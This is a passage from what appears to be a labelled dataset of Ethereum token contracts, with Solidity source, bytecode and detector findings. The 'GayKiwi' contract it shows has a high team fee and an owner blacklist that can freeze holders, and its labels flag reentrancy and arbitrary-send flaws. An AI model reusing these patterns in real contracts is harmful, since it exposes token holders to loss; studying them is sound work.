return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GayKiwi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "t.me/Gay_Kiwi";
string private constant _symbol = 'GayKiwi';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610528565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610546565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610553565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105da565b005b34801561029b57600080fd5b506102a4610653565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610658565b3480156102f257600080fd5b5061028d6106ce565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610702565b34801561033a57600080fd5b5061028d61076c565b34801561034f57600080fd5b5061035861080e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561083e565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610852945050505050565b34801561047e57600080fd5b5061028d610906565b34801561049357600080fd5b5061028d610943565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d2a565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e2f565b60408051808201909152600d81526c742e6d652f4761795f4b69776960981b602082015290565b600061053c610535610e5a565b8484610e5e565b5060015b92915050565b683635c9adc5dea0000090565b6000610560848484610f4a565b6105d08461056c610e5a565b6105cb85604051806060016040528060288152602001611fc1602891396001600160a01b038a166000908152600460205260408120906105aa610e5a565b6001600160a01b031681526020810191909152604001600020549190611320565b610e5e565b5060019392505050565b6105e2610e5a565b6000546001600160a01b03908116911614610632576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610660610e5a565b6000546001600160a01b039081169116146106b0576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e2610e5a565b6001600160a01b0316146106f557600080fd5b476106ff816113b7565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074257506001600160a01b038116600090815260036020526040902054610767565b6001600160a01b0382166000908152600260205260409020546107649061143c565b90505b919050565b610774610e5a565b6000546001600160a01b039081169116146107c4576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6040805180820190915260078152664761794b69776960c81b602082015290565b600061053c61084b610e5a565b8484610f4a565b61085a610e5a565b6000546001600160a01b039081169116146108aa576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b60005b8151811015610902576001600760008484815181106108c857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108ad565b5050565b6010546001600160a01b031661091a610e5a565b6001600160a01b03161461092d57600080fd5b600061093830610702565b90506106ff8161149c565b61094b610e5a565b6000546001600160a01b0390811691161461099b576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fa576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a439030906001600160a01b0316683635c9adc5dea00000610e5e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7c57600080fd5b505afa158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af657600080fd5b505afa158015610b0a573d6000803e3d6000fd5b505050506040513d6020811015610b2057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7257600080fd5b505af1158015610b86573d6000803e3d6000fd5b505050506040513d6020811015610b9c57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bce81610702565b600080610bd961080e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4457600080fd5b505af1158015610c58573d6000803e3d6000fd5b50505050506040513d6060811015610c6f57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfb57600080fd5b505af1158015610d0f573d6000803e3d6000fd5b505050506040513d6020811015610d2557600080fd5b505050565b610d32610e5a565b6000546001600160a01b03908116911614610d82576040805162461bcd60e51b81526020600482018190526024820152600080516020611fe9833981519152604482015290519081900360640190fd5b60008111610dd7576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df56064610def683635c9adc5dea000008461166a565b906116c3565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea35760405162461bcd60e51b81526004018080602001828103825260248152602001806120576024913960400191505060405180910390fd5b6001600160a01b038216610ee85760405162461bcd60e51b8152600401808060200182810382526022815260200180611f7e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f8f5760405162461bcd60e51b81526004018080602001828103825260258152602001806120326025913960400191505060405180910390fd5b6001600160a01b038216610fd45760405162461bcd60e51b8152600401808060200182810382526023815260200180611f316023913960400191505060405180910390fd5b600081116110135760405162461bcd60e51b81526004018080602001828103825260298152602001806120096029913960400191505060405180910390fd5b61101b61080e565b6001600160a01b0316836001600160a01b031614158015611055575061103f61080e565b6001600160a01b0316826001600160a01b031614155b156112c357601354600160b81b900460ff161561114f576001600160a01b038316301480159061108e57506001600160a01b0382163014155b80156110a857506012546001600160a01b03848116911614155b80156110c257506012546001600160a01b03838116911614155b1561114f576012546001600160a01b03166110db610e5a565b6001600160a01b0316148061110a57506013546001600160a01b03166110ff610e5a565b6001600160a01b0316145b61114f576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561115e57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a057506001600160a01b03821660009081526007602052604090205460ff16155b6111a957600080fd5b6013546001600160a01b0384811691161480156111d457506012546001600160a01b03838116911614155b80156111f957506001600160a01b03821660009081526005602052604090205460ff16155b801561120e5750601354600160b81b900460ff165b15611256576001600160a01b038216600090815260086020526040902054421161123757600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126130610702565b601354909150600160a81b900460ff1615801561128c57506013546001600160a01b03858116911614155b80156112a15750601354600160b01b900460ff165b156112c1576112af8161149c565b4780156112bf576112bf476113b7565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130557506001600160a01b03831660009081526005602052604090205460ff165b1561130e575060005b61131a84848484611705565b50505050565b600081848411156113af5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137457818101518382015260200161135c565b50505050905090810190601f1680156113a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d18360026116c3565b6040518115909202916000818181858888f193505050501580156113f9573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114148360026116c3565b6040518115909202916000818181858888f19350505050158015610902573d6000803e3d6000fd5b6000600a5482111561147f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f54602a913960400191505060405180910390fd5b6000611489611821565b905061149583826116c3565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114dd57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153157600080fd5b505afa158015611545573d6000803e3d6000fd5b505050506040513d602081101561155b57600080fd5b505181518290600190811061156c57fe5b6001600160a01b0392831660209182029290920101526012546115929130911684610e5e565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611618578181015183820152602001611600565b505050509050019650505050505050600060405180830381600087803b15801561164157600080fd5b505af1158015611655573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167957506000610540565b8282028284828161168657fe5b04146114955760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa06021913960400191505060405180910390fd5b600061149583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611844565b80611712576117126118a9565b6001600160a01b03841660009081526006602052604090205460ff16801561175357506001600160a01b03831660009081526006602052604090205460ff16155b15611768576117638484846118db565b611814565b6001600160a01b03841660009081526006602052604090205460ff161580156117a957506001600160a01b03831660009081526006602052604090205460ff165b156117b9576117638484846119ff565b6001600160a01b03841660009081526006602052604090205460ff1680156117f957506001600160a01b03831660009081526006602052604090205460ff165b1561180957611763848484611aa8565b611814848484611b1b565b8061131a5761131a611b5f565b600080600061182e611b6d565b909250905061183d82826116c3565b9250505090565b600081836118935760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137457818101518382015260200161135c565b50600083858161189f57fe5b0495945050505050565b600c541580156118b95750600d54155b156118c3576118d9565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ed87611cec565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061191f9088611d49565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461194e9087611d49565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197d9086611d8b565b6001600160a01b03891660009081526002602052604090205561199f81611de5565b6119a98483611e6d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1187611cec565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a439087611d49565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a799084611d8b565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197d9086611d8b565b600080600080600080611aba87611cec565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aec9088611d49565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a439087611d49565b600080600080600080611b2d87611cec565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061194e9087611d49565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cac57826002600060098481548110611b9d57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c025750816003600060098481548110611bdb57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2057600a54683635c9adc5dea0000094509450505050611ce8565b611c606002600060098481548110611c3457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d49565b9250611ca26003600060098481548110611c7657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d49565b9150600101611b81565b50600a54611cc390683635c9adc5dea000006116c3565b821015611ce257600a54683635c9adc5dea00000935093505050611ce8565b90925090505b9091565b6000806000806000806000806000611d098a600c54600d54611e91565b9250925092506000611d19611821565b90506000806000611d2c8e878787611ee0565b919e509c509a509598509396509194505050505091939550919395565b600061149583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611320565b600082820183811015611495576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611def611821565b90506000611dfd838361166a565b30600090815260026020526040902054909150611e1a9082611d8b565b3060009081526002602090815260408083209390935560069052205460ff1615610d255730600090815260036020526040902054611e589084611d8b565b30600090815260036020526040902055505050565b600a54611e7a9083611d49565b600a55600b54611e8a9082611d8b565b600b555050565b6000808080611ea56064610def898961166a565b90506000611eb86064610def8a8961166a565b90506000611ed082611eca8b86611d49565b90611d49565b9992985090965090945050505050565b6000808080611eef888661166a565b90506000611efd888761166a565b90506000611f0b888861166a565b90506000611f1d82611eca8686611d49565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d218e7988138b439d32ae5e30acaa3e177fa234ed9759531d6c2b4e508f0a31164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,688 |
0x1a7b9854969bfa4f60f231957bef9c9782900696 | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
